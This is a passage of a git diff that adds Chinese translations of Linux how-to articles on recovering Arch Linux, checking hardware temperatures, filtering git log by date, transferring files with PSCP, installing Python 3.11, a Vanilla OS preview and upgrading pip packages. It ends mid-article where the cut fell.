日志,因为升级一些软件包可能会导致系统不稳定工作,例如,图形驱动程序或其它一些驱动程序。依据日志的记载,如果你有需要的话,你可以降级一些具体指定的软件包。 + +你可以使用下面的命令来查看 pacman 日志文件的最新的 200 行日志,来找出一些引起失败的项或依赖项的缺失。 + +``` +tail -n 200 /var/log/pacman.log | less +``` + +上面的命令给出 `pacman.log` 文件的末尾处的 200 行来用于查对。现在,仔细检查自你上次成功启动以来更新了哪些软件包。 + +在某个地方记录下软件包的名称和版本。你可以尝试逐个降级软件包,或者,如果你认为是某个特定的软件包造成的问题的话,你可以使用 `pacman` 命令的 `-U` 开关选项来降级它。 + +``` +pacman -U +``` + +在降级后(如果有一些软件包进行降级的话),你可以运行下面的命令来启动你的 Arch 系统。 + +``` +exec /sbin/init +``` + +检查你的显示管理器的状态,并检查其是否有一些错误。有时,显示管理器会产生不能与 X 服务器X Server 通信的问题。例如,如果你正在使用 Lightdm ,那么你可以通过下面的命令来检查它的状态。 + +``` +systemctl status lightdm +``` + +或者,你可能希望通过下面的命令来启动它并检查错误。 + +``` +lightdm --test-mode --debug +``` + +这里是一个 Lightdm 故障的示例,它导致了 Arch 系统不稳定工作。 + +![lightdm - test mode][2] + +或者,使用 `startx` 来启动 X 服务器进行检查。 + +根据我的经验,如果你在上面的命令中看到这些错误,尝试安装另外一个显示管理器(例如 sddm)并启动它可以消除错误。 + +- 根据你的系统的实际状态来尝试上面的步骤并解决问题。针对特定的显示管理器 Lightdm 的错误,我们有一份 [指南][3],你可能会想查看它。 +- 如果你正在使用 sddm ,那么,试试 [这些排错步骤][4] 看看是否工作。 + +### 结语 + +每个系统环境都是不同的。上面的步骤不一定适合你。但是,它值得一试,根据我的经验,它是可行的。如果它可行,那么恭喜你。否则,在下面的评论区让我知晓你是如何进行的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/recover-arch-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://archlinux.org/download/ +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/lightdm-test-mode.jpg +[3]: https://www.debugpoint.com/2021/03/failed-to-start-lightdm/ +[4]: https://wiki.archlinux.org/title/SDDM#Troubleshooting diff --git a/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md b/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..587e5d20f0 --- /dev/null +++ b/published/202211/20221024.1 ⭐️ How to Check CPU and HDD Temperature in Ubuntu and Other Linux.md @@ -0,0 +1,121 @@ +[#]: subject: "How to Check CPU and HDD Temperature in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/cpu-hdd-temperature-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15223-1.html" + +如何在 Ubuntu 和其他 Linux 中检查 CPU 和硬盘温度 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/07/151624auhj011bqnzk9qfu.jpg) + +> 想知道如何在台式机或笔记本电脑上检查 Ubuntu 和其他 Linux 中的 CPU 和硬盘温度?这是一个快速指南。 + +如果你是普通用户,那么实际上不需要检查 CPU 或 HDD 温度。但是,如果你使用的是非常旧的硬件或轻薄型的硬件,你可能会遇到过热问题。因为这些薄的硬件内部紧密耦合在一起,无论做了多少传热机制,它都会升温。因此,必须监控硬件的温度。然而,现代 Linux 发行版能够通过软件传感器很好地处理过热情况。 + +### 在 Ubuntu 上监控 CPU 和硬盘温度的步骤 + +#### 使用终端 + +我们将使用几个包来实现相同的目的。在基于 Ubuntu 的系统中打开一个终端并安装以下内容。 + +``` +sudo apt install hddtemp +sudo apt install lm-sensors +``` + +[hddtemp][1] 程序为你提供硬盘和 SSD (根据我的测试)的温度。 [lm-sensors][2] 包为你提供来自 CPU 和其他通过 PCI 端口访问的传感器的温度详细信息。 + +安装后,从终端运行以下命令。你需要知道你的磁盘标识符,例如 `/dev/sda` 或 `/dev/sdb` 等。 + +要找出磁盘标识符,你可以使用 `fdisk`。 + +``` +sudo fdisk -l +``` + +然后运行以下命令检查 HDD 或 SSD 温度。 + +``` +sudo hddtemp +``` + +![HDD or SSD Temperature from terminal][3] + +*来自终端的 HDD 或 SSD 温度* + +检查 CPU 温度和其他信息需要额外的步骤。 + +首先,运行以下命令,以便传感器程序可以检测到系统中的传感器。 + +``` +sudo sensors-detect +``` + +上面的命令可能会问你一些是/否的问题。继续按回车选择默认选项。 + +完成后,运行以下命令查看 CPU 和其他接口温度。 + +``` +sensors +``` + +![using sensors][4] + +*使用传感器* + +#### 使用 GUI 工具 + +如果你更喜欢能完成上述所有操作的漂亮 GUI,你可以安装 [psensor][5]。该程序适用于 Linux 系统,例如 Ubuntu、Fedora、[Arch][6] 和其他变体。它为你提供了漂亮的图形和表格视图: + +Ubuntu 及其衍生版: + +``` +sudo apt install psensor +``` + +Fedora 和基于 RPM 的衍生版: + +``` +sudo dnf install psensor +``` + +Arch、Manjaro 和类似的衍生版: + +``` +pacman -S psensor +``` + +安装后,从终端运行 `psensor` 或从应用菜单启动它。 + +正如你在下面的截图中所见,它通过漂亮的图表让你可以很好地了解 CPU、GPU 和 HDD 的所有重要温度。使用它的首选项,你可以根据需要对其进行调整。这个轻量级的程序在很多情况下都会很有帮助。 + +![psensor running][7] + +*psensor 运行* + +因此,这些是你可以在 Ubuntu 和其他 Linux 系统中监控 CPU、GPU 或 HDD 温度的一些方法。如果你知道其他方法,请通过下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cpu-hdd-temperature-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/title/Hddtemp +[2]: https://github.com/lm-sensors/lm-sensors +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/HDD-or-SSD-Temperature-from-terminal.png +[4]: https://www.debugpoint.com/wp-content/uploads/2021/09/psensor.png +[5]: https://wpitchoune.net/psensor/ +[6]: https://www.debugpoint.com/tag/arch-linux +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/psensor-running-1024x465.png diff --git a/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md b/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md new file mode 100644 index 0000000000..1fac3cd7ad --- /dev/null +++ b/published/202211/20221024.3 ⭐️ How to display commits created on a specific day with the git log command.md @@ -0,0 +1,68 @@ +[#]: subject: "How to display commits created on a specific day with the git log command" +[#]: via: "https://opensource.com/article/22/10/git-log-command" +[#]: author: "Agil Antony https://opensource.com/users/agantony" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15220-1.html" + +用 git log 命令显示在特定日期的提交记录 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/085449j5diiljl7dzgdr0z.jpg) + +> `git log` 命令是 Git 中一个很重要的查看提交记录的工具,它也是人们喜欢使用 Git 的原因之一。 + +`git log` 命令能够让你了解到更多关于贡献者 提交commit 的记录。使用 `git log` 的一种方式是按日期查看提交记录 。要查看**在指定日期或日期范围内**创建的 Git 存储库中的提交记录,请使用带有选项 `--since` 或 `--until` 或者同时使用以上两个选项的 `git log` 命令。 + +首先,进入你要查看的分支(例如,`main` 分支): + +``` +$ git checkout main +``` + +接下来,你可以使用以下命令,来显示当前日期(即今天)的提交记录: + +``` +$ git log --oneline --since="yesterday" +``` + +仅显示某一特定用户(例如,用户 `Agil`)在今天的提交记录: + +``` +$ git log --oneline --since="yesterday" --author="Agil" +``` + +还可以显示在某一日期范围内的提交记录。使用以下命令,显示在任意两个日期之间(例如,2022 年 4 月 22 日至 2022 年 4 月 24 日)的提交记录: + +``` +$ git log --oneline --since="2022-04-22" --until="2022-04-24" +``` + +在上面这个例子中,会输出 2022 年 4 月 22 日至 2022 年 4 月 24 日期间,不包括 2022 年 4 月 22 日的所有提交记录。如果你想要包括 2022 年 4 月 22 日的提交记录,请将命令中的 `2022-04-22` 替换为 `2022-04-21`。 + +运行以下命令,能够显示某一特定用户(例如,用户 `Agil`)在两个指定的日期之间的提交记录: + +``` +$ git log --oneline --since="2022-04-22" --until="2022-04-24" --author="Agil" +``` + +### 总结 + +Git 有很多优点,其中一个优点就是 Git 让你能够收集你项目的相关数据。`git log` 命令是一个重要的查看提交记录的工具,也是人们喜欢使用 Git 的原因之一! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/git-log-command + +作者:[Agil Antony][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/agantony +[b]: https://github.com/lkxed + diff --git a/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md b/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md new file mode 100644 index 0000000000..aa68907328 --- /dev/null +++ b/published/202211/20221025.0 ⭐️⭐️ Transfer files and folders from Windows to Linux with PSCP.md @@ -0,0 +1,144 @@ +[#]: subject: "Transfer files and folders from Windows to Linux with PSCP" +[#]: via: "https://opensource.com/article/22/10/transfer-files-windows-linux-pscp" +[#]: author: "Paul https://opensource.com/users/plaubscher" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15234-1.html" + +使用 PSCP 将文件和文件夹从 Windows 传输到 Linux +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/10/074452ys2lgjdqq8gaj8rg.jpg) + +> 开源的 PSCP 程序可以轻松地在 Windows 和 Linux 计算机之间传输文件和文件夹。 + +你是否正在寻找一种将文件从 Windows 计算机快速传输到 Linux 计算机并再次传输回来的方法?开源的 PSCP 程序可以轻松传输文件和文件夹,当然它是开源的。 + +### 在 Windows 中设置 PATH + +了解如何在 Windows 中设置命令路径可以更轻松地使用 PSCP 等方便的程序。如果你不熟悉该过程,请阅读 [如何在 Windows 上设置 PATH][1]。 + +### 使用 PSCP + +PSCP(PuTTY 安全复制协议)是一个命令行工具,用于将文件和文件夹从 Windows 计算机传输到 Linux 计算机。 + +- 从 [网站][2] 下载 `pscp.exe`。 +- 将 `pscp.exe` 移动到 `PATH` 中的文件夹(例如,如果你按照 [Opensource.com][3] 上的 PATH 教程进行操作,则为 `Desktop\App`)。如果你没有设置 `PATH` 变量,你也可以将 `pscp.exe` 移动到保存要传输的文件的文件夹中。 +- 使用 Windows 任务栏中的搜索栏在 Windows 计算机上打开 Powershell(在搜索栏中输入 `powershell`。) +- 输入 `pscp -version` 以确认你的计算机可以找到该命令。 + +### IP 地址 + +在进行传输之前,你必须知道目标计算机的 IP 地址或完全限定域名。假设它是同一网络上的计算机,并且你没有运行 DNS 服务器来解析计算机名称,你可以在 Linux 机器上使用 `ip` 命令找到目标 IP 地址: + +``` +[linux]$ ip addr show |grep 'inet ' +inet 127.0.0.1/8 scope host lo +inet 192.168.1.23/24 brd 10.0.1.255 scope global noprefixroute eth0 +``` + +在所有情况下,127.0.0.1 都是计算机仅用于与自身通信的环回地址,因此在此示例中,正确的地址是 192.168.1.23。在你的系统上,IP 地址可能不同。如果你不确定哪个是哪个,你可以连续尝试每个,直到找到正确的(然后在某处写下来!) + +或者,你可以查看路由器的设置,其中列出了通过 DHCP 分配的所有地址。 + +### 防火墙和服务器 + +`pscp` 命令使用 OpenSSH 协议,因此你的 Linux 计算机必须运行 OpenSSH 服务器软件,并且防火墙必须允许 SSH 流量。 + +如果你不确定你的 Linux 机器是否正在运行 SSH,请在 Linux 机器上运行以下命令: + +``` +[linux]$ sudo systemctl enable --now sshd +``` + +要确保你的防火墙允许 SSH 流量,请运行以下命令: + +``` +[linux]$ sudo firewall-cmd --add-servicessh --permanent +``` + +有关 Linux 上的防火墙的更多信息,请阅读 [使用防火墙使 Linux 更强大][4]。 + +### 传输文件 + +在这个例子中,我有一个名为 `pscp-test.txt` 的文件,我想将它从我的 Windows 计算机上的 `C:\Users\paul\Documents` 传输到我的目标 Linux 计算机主目录 `/home/paul`。 + +现在你已经有了 `pscp` 命令和目标地址,你可以传输测试文件 `pscp-test.txt`。打开 Powershell 并使用 `dir` 命令切换到示例文件所在的 `Documents` 文件夹: + +``` +PS> dir %USERPROFILE%\Documents\ +``` + +现在执行传输: + +``` +PS> pscp pscp-test.txt paul@192.168.1.23:/home/paul +| Password: +End of keyboard-interactive prompts from server +pscp-test.txt | 0 kb | 0.0 kB/s | ETA: 00:00:00 | 100% +``` + +这是语法,逐字逐句来: + +- `pscp`:用于传输文件的命令。 +- `pscp-test.txt` 是你要从 Windows 传输的文件的名称。 +- `paul@192.168.1.23` 是我在 Linux 计算机上的用户名,以及 Linux 计算机的 IP 地址。你必须将其替换为你自己的用户和目的地信息。请注意,`pscp` 需要目标计算机上的目标路径,而 IP 地址末尾的 `:/home/paul` 指定我希望将文件复制到我的主文件夹。 + +对 Linux 计算机进行身份验证后,`pscp-test.txt` 文件将传输到 Linux 计算机。 + +### 验证已传输 + +在你的 Linux 计算机上,打开终端并使用 `ls` 命令验证文件 `pscp-test.txt` 是否出现在你的主目录中。 + +``` +[linux]$ ls +Documents +Downloads +Music +Pictures +pscp-test.txt +``` + +### 从 Linux 系统复制文件 + +你不仅限于将文件复制到 Linux 系统。使用 `pscp`,你还可以将文件从 Linux 复制到 Windows。语法是一样的,只是反过来: + +``` +PS> pscp paul@192.168.1.23:/home/paul/pscp-test.txt %USERPROFILE%\Documents\pscp-win.txt +``` + +这是语法: + +- `pscp`:用于传输文件的命令。 +- `paul@192.168.1.23:/home/paul/pscp-test.txt` 是我在 Linux 计算机上的用户名、Linux 计算机的 IP 地址,以及我要复制的文件的路径。 +- `%USERPROFILE%\Documents` 是我的 Windows 计算机上我要保存文件的位置。 请注意,在将文件复制回我的 Windows 计算机时,我可以给它一个新名称,例如 `pscp-win.txt`,以区别于原始文件。 当然,你不必重命名文件,但对于本演示来说,它是一个有用的快捷方式。 + +打开文件管理器以验证 `pscp-win.txt` 文件是否已从 Linux 计算机复制到 Windows `C:\Users\paul\Documents` 下。 + +![Image of a file manager.][5] + +### 远程复制 + +借助开源 `pscp` 命令的强大功能,你可以访问家中的任何计算机、拥有帐户的服务器,甚至是移动设备和 [边缘设备][6]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/transfer-files-windows-linux-pscp + +作者:[Paul][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/plaubscher +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/set-path-powershell +[2]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html +[3]: http://Opensource.com +[4]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[5]: https://opensource.com/sites/default/files/2022-10/Filemanager.pscp_.png +[6]: https://opensource.com/tags/edge-computing diff --git a/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md b/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md new file mode 100644 index 0000000000..737ddc6a0e --- /dev/null +++ b/published/202211/20221026.4 ⭐️ How to Install Python 3.11 in Ubuntu and Other Related Linux.md @@ -0,0 +1,142 @@ +[#]: subject: "How to Install Python 3.11 in Ubuntu and Other Related Linux" +[#]: via: "https://www.debugpoint.com/install-python-3-11-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15230-1.html" + +如何在 Ubuntu 等 Linux 中安装 Python 3.11 +====== + +> 打算为你的项目开发工作安装 Python 3.11?下面是如何在 Ubuntu 等发行版中安装 Python 3.11 的方法。 + +![][1] + +Python 3.11 于 2022 年 10 月 25 日发布,并声称比之前的 [Python 3.10][2] 版本快 10% - 60%。 + +一如既往,3.11 中的功能和改进列表明显较多。下面是一个简介: + +- 错误回溯更明确,可以指出导致错误的确切语句。 +- 引入异常组和新的 except* 语法。 +- 你可以在基础表达式中添加自定义文本,以便在你的代码中更好地处理错误。 +- 引入 Variadic 泛型,允许在 Python 数值库(如 NumPy)中使用类似数组的结构。 +- 字典类型 TypedDict 得到了改进,现在你可以指定个别字典项目是必须的还是可选的。 +- 引入了 Self 注解,允许类返回它们自己的类型实例。 + +还有很多,你可以在官方的 [3.11 亮点页面][3] 上详细了解。 + +### Linux 发行版中的当前 Python 版本 + +[Ubuntu 22.04 LTS][4] 带有 Python 3.10,而最近发布的 [Ubuntu 22.10 Kinetic Kudu][5] 也是同样的版本。然而, Kinetick Kudu 可能会在几周内采用 3.11。 + +另外,[Fedora 37][6] 已经有了 Python 3.11 RC2,并将提供该版本。 + +所以,如果你正在运行 Ubuntu 22.04 LTS、[Linux Mint 21][7] 或任何基于 Ubuntu-LTS 的发行版,这里是你如何通过 PPA 安装 Python 3.11 的方法。 + +**注意**:谨慎地使用这个方法。确保你知道你在做什么,因为替换 Linux 发行版的基础 Python 版本可能会导致系统不稳定。许多默认的应用程序和软件包都依赖于 3.10 版本。 + +### 如何在 Ubuntu 和相关发行版中安装 Python 3.11 + +打开终端提示,添加以下 PPA: + +``` +sudo add-apt-repository ppa:deadsnakes/ppa +``` + +使用下面的命令刷新缓存: + +``` +sudo apt update  +``` + +并使用下面的命令安装 Python 3.11: + +``` +sudo apt install python3.11 +``` + +![在 Ubuntu 22.04 LTS 中安装 Python 3.11][8] + +### 设置默认的 Python 版本 + +理论上,你可以在 Linux 发行版中安装多个版本的 Python,但只能默认一个版本。将 Python 3.11 设置为默认版本需要一些额外的步骤。请跟我做。 + +然而,在这之前,请确保你知道哪些应用程序依赖于 Python 3.10。你可以使用 `apt-cache rdepends` 命令轻松地找到它,如下所示: + +``` +debugpoint@debugpoint-22-04:~$ apt-cache rdepends python3.10 +python3.10 +Reverse Depends: +python3.10-dbg +python3.10-venv +python3.10-full +libpython3.10-testsuite +idle-python3.10 +idle-python3.10 +python3.10-minimal +python3.10-doc +python3.10-dev +python3 +[截断] +python3 +python3-uno +python3-all +gedit +``` + +#### 使用 Python 3.11 作为默认的 Python3 + +首先,从终端使用以下命令检查当前的默认版本: + +``` +python3 --version +``` + +使用 `update-alternatives` 来创建 `python3` 的符号链接: + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.10 1 +``` + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.11 2 +``` + +并通过命令选择哪一个作为 Python3 使用: + +``` +sudo update-alternatives --config python3 +``` + +![设置默认的 Python 版本为 3.11][9] + +现在你可以开始在你当前的 Ubuntu 版本中使用最新的 Python 来进行工作/学习了。你可以使用上述命令切换到库存版本,并随时改变版本。 + +如果你使用上述安装方法切换到 3.11,那么请确保你检查所有必要的应用程序,看它们是否工作正常。 + +最后,如果你遇到问题,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-python-3-11-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/py3112204-1024x576.jpg +[2]: https://www.debugpoint.com/install-python-3-10-ubuntu/ +[3]: https://docs.python.org/3.11/whatsnew/3.11.html +[4]: https://www.debugpoint.com/ubuntu-22-04-review/ +[5]: https://www.debugpoint.com/ubuntu-22-10/ +[6]: https://www.debugpoint.com/fedora-37/ +[7]: https://www.debugpoint.com/linux-mint-21-review/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/10/Install-Python-3.11-in-Ubuntu-22.04-LTS.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/10/Setting-up-default-python-version-to-3.11.jpg diff --git a/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md b/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md new file mode 100644 index 0000000000..21a78e56a3 --- /dev/null +++ b/published/202211/20221026.5 ⭐️ Vanilla OS More Than Just Vanilla GNOME With Ubuntu.md @@ -0,0 +1,136 @@ +[#]: subject: "Vanilla OS: More Than Just Vanilla GNOME With Ubuntu" +[#]: via: "https://news.itsfoss.com/vanilla-os-beta/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15203-1.html" + +Vanilla OS:不只是原味 GNOME 的 Ubuntu +====== + +> Vanilla OS 是建立在 GNOME 上的、具有按需不变性和软件包选择自由的 Ubuntu。听起来很有趣?在这里阅读更多信息。 + +![Vanilla OS:不仅仅是原味 GNOME 的 Ubuntu][1] + +这正是我第一次接触 Vanilla OS 时的想法。 + +当 [Bottles][2] 的创建者 **Mirko Brombin** 在 Twitter 上宣布它时,让我对它产生了兴趣 😎。 + +我加入了他们的 Discord 频道并成为了一名测试者。虽然我没有做出什么贡献,但关注项目发展是很有趣的。 + +回到至关重要的问题上:**什么是 Vanilla OS?** + +**Vanilla OS 的目标是提供一个干净、原味的 GNOME 体验,并具有按需不变性的能力。** + +听起来很有趣?让我告诉你我试了试它的第一个开放测试版本后的一些细节。 + +> 💡 Vanilla OS 计划在 11 月有一个稳定的版本。 +> +> 它将跟随 Ubuntu 的小版本发布。 +> +> 因此,你可以期待每年发布**两个版本**。例如,你可以从 Ubuntu 22.04 升级到 Ubuntu 22.10 甚至更之后的版本。 +> +> 除非你知道自己在做什么,否则你不应该把它作为日常系统来使用。 + +### Vanilla OS:又一个基于 Ubuntu 的发行版? + +![vanilla os home][3] + +**是,也不是**。 + +对于初学者来说,我认为有以下独特的理由可以尝试一下: + +- 在 Ubuntu 之上获得 **原装 GNOME 体验**。(Fedora 也是一个很好的选择,但并不适合所有人!) +- 在其安装后的首次设置时,**允许你选择并启用 Flatpak/Snap/AppImage**。 +- **按需不变性**,意味着你可以使系统变成只读,以防止来自第三方应用程序和更新的关键变化。 +- **一个新的软件包管理器**(apx)允许你默认在管理的容器内安装软件包。 + +首次设置过程的体验很轻松。 + +> ℹ️ 目前,它使用 Calamares 安装程序。他们打算用 Crystal Linux 中使用的 Jade 取代它。 + +![Vanilla OS 安装程序][4] + +越来越多的发行版投身于此;我相信更多的用户会乐意加入到 Linux 中来。 + +![][5] + +*Vanilla OS 对软件包管理器的选择* + +当然,像 Ubuntu MATE 和 Pop!_OS 这样的发行版已经付出了巨大的努力,而 Vanilla OS 也为此增加了一些改进。 + +![Vanilla OS 颜色选择][6] + +这看起来是一种漂亮的体验!😊 + +一旦你完成了首次设置,你就没有什么可担心的了。你会得到通常的 GNOME 桌面,以及由 **Patrik Kramolis** 制作的漂亮的壁纸。 + +![Vanilla OS 主页][7] + +接下来,我试着检查了按需不变性,你可以用以下命令查看和调整: + +![Vanilla OS 终端][8] + +你可以在 [GitHub][9] 上了解更多这个(基本上)使之成为可能的工具。 + +接下来,看看新的软件包管理器,我喜欢 Distrobox 的底层概念,使其与 apx 成为可能。 + +Distrobox 的创建者 **Luca di Maio** 也参与了 Vanilla OS 的开发。 + +不过,当用 apx 安装一个软件包时,你需要用命令来初始化容器: + +``` +apx init +``` + +如果它能自动完成,那就更直观了。 + +![Vanilla OS apx][10] + +当然,我不知道技术上的限制。但是,对于用户端来说会感觉更顺滑! + +总的来说,一个利用容器安装应用程序的软件包管理器、获得选择你的软件包管理器的能力、按需不变性,以及原味的 GNOME 使它看起来是一个值得关注的好东西。 + +### 前面的路:第一印象 + +我觉得,一旦它进入稳定版,它就会成为我的日常使用系统。 + +**原因是**:我总是喜欢原装的 GNOME 体验,而且不需要处理 Fedora 的定期升级。 + +当然,等我使用了稳定版之后,我可以给你写一篇整体的用户体验评判。 + +在那之前,我想说这是一个我相信很多用户都会喜欢的项目 👏。 + +目前,你可以通过加入其 Discord 频道来下载 ISO。该 ISO 还没有公开向所有人提供。如果你感兴趣,可以看看它的 [文档][11]。 + +> **[Vanilla OS][12]** + +然而,按照路线图,他们计划很快就会有一个候选版本。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vanilla-os-beta/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/first-look-at-vanilla-os.jpg +[2]: https://usebottles.com +[3]: https://news.itsfoss.com/content/images/2022/10/vanillaos.jpg +[4]: https://news.itsfoss.com/content/images/2022/10/vanillaos-installer.jpg +[5]: https://news.itsfoss.com/content/images/2022/10/choosing-package-vanillaos.png +[6]: https://news.itsfoss.com/content/images/2022/10/vanilla-os-first-setup.png +[7]: https://news.itsfoss.com/content/images/2022/10/vanillaos-wallpaper.jpg +[8]: https://news.itsfoss.com/content/images/2022/10/Screenshot-from-2022-10-25-12-54-29.png +[9]: https://github.com/Vanilla-OS/almost +[10]: https://news.itsfoss.com/content/images/2022/10/apx-install.jpg +[11]: https://documentation.vanillaos.org +[12]: https://vanillaos.org/roadmap diff --git a/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md b/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md new file mode 100644 index 0000000000..020249de97 --- /dev/null +++ b/published/202211/20221027.0 ⭐️ How to Upgrade Python Packages with Pip.md @@ -0,0 +1,110 @@ +[#]: subject: "How to Upgrade Python Packages with Pip" +[#]: via: "https://itsfoss.com/upgrade-pip-packages/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15224-1.html" + +使用 Pip 升级 Python 软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/07/153408lqflbw3mwxja3qm4.jpg) + +你上次更新通过 Pip 安装的 Python 软件包是什么时候?大多数用户往往会忘记这些 Python 软件包也需要手动更新,因为仅仅更新系统存储库对于软件包来说是不起作用的。 + +因此,让我们花点时间看看如何使用 Pip,来更新旧的 Python 软件包吧。 + +### 如何使用 Pip 升级 Python 软件包 + +[Pip(Pip Installs Packages)][1] 是一个用于管理 Python 软件包的 命令行实用程序 command line utility 。你可以将 Pip 安装 Python 软件包,类比为在 Ubuntu 和 Debian 中使用 `apt` 管理软件包那样。 + +因此,接下来就让我们深入了解如何使用这个极好的工具 Pip,来管理与 Python 软件包相关的内容吧。 + +#### 1、列出过时的 Python 软件包 + +在计划更新什么软件包之前,我们先要列出有哪些过时的软件包,你可以在其中选择想要更新的软件包,因为大多数人不会想一下子更新整个软件包库。 + +要列出过时的 Python 软件包,你只需将 `pip` 命令与 `list` 选项、`--outdated` 标志一同使用即可,如下图所示: + +``` +pip list --outdated +``` + +![outdated packages][2] + +#### 2、升级特定的软件包 + +获得可更新的软件包列表后,你可以像我之前提到的那样,选择你要更新的那个特定的软件包,pip 升级软件包命令的语法如下: + +``` +pip install package_name -U +``` + +例如,我想将名为 `anime-api` 的软件包升级到最新版本,所以我将使用下面的命令来升级: + +``` +pip install anime-api -U +``` + +![update anime api][3] + +#### 3、将软件包升级到特定的版本 + +没有必要总是使用软件的最新版本,如果你想将软件包升级到不是最新的某个特定版本,参考如下的命令语法: + +``` +pip install --upgrade == +``` + +例如,我想将名为 `xdg` 的软件包更新到 5.1 版本,5.1 版本是最新版本的前一个版本,所以可以使用以下命令: + +``` +pip install --upgrade xdg==5.1 +``` + +![upgrade xdg to specific iteration][5] + +#### 4、使用 Pip 一次性升级所有软件包 + +**请注意:我不建议你一次性升级所以软件包,因为 Python 软件包的依赖项太复杂了,一次性的升级无法处理相互依赖项。** + +要一次性升级所有 python 软件包,你可以使用以下命令: + +``` +pip3 list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip3 install -U +``` + +![upgrade everything][6] + +上面的命令使用了 [xargs][7]。首先,会得到所有需要更新的软件包,然后对每个软件包执行 `pip3 install -U` 命令。 + +我在这里使用的是 `pip3`,而不是 `pip`。在 Ubuntu 22.04 及更高的版本中,`pip` 和 `pip3` 命令都可以使用。 + +### 总结 + +使用 Pip 一次性更新所有 Python 